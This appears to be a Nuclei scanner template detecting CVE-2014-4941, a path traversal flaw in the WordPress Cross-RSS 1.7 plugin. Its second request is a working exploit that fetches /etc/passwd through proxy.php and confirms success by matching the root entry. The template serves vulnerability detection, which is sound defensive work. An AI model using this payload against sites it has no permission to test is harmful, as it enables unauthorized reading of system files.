id: CVE-2014-4941

info:
  name: Cross RSS 1.7 - Local File Inclusion
  author: DhiyaneshDK
  severity: medium
  description: |
    Absolute path traversal vulnerability in Cross-RSS (wp-cross-rss) plugin 1.7 for WordPress allows remote attackers to read arbitrary files via a full pathname in the rss parameter to proxy.php.
  reference:
    - https://wordpress.org/plugins/cross-rss/
    - https://codevigilant.com/disclosure/wp-plugin-cross-rss-local-file-inclusion/
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4941
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4941
    cwe-id: CWE-22
    epss-score: 0.00603
    epss-percentile: 0.68663
    cpe: cpe:2.3:a:cross-rss_plugin_project:wp-cross-rss:1.7:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cross-rss_plugin_project
    product: wp-cross-rss
    framework: wordpress
  tags: cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/cross-rss/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/cross-rss/proxy.php?rss=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100efbbd4366d66c58be4cdf8d52b107c79d103fa9776c58fc8183e33d551c10d0e022047ab10af0b5bb70b04aac7b391997258c0556e4fc615589d6f999162323e5c30:922c64590222798bb761d5b6d8e72950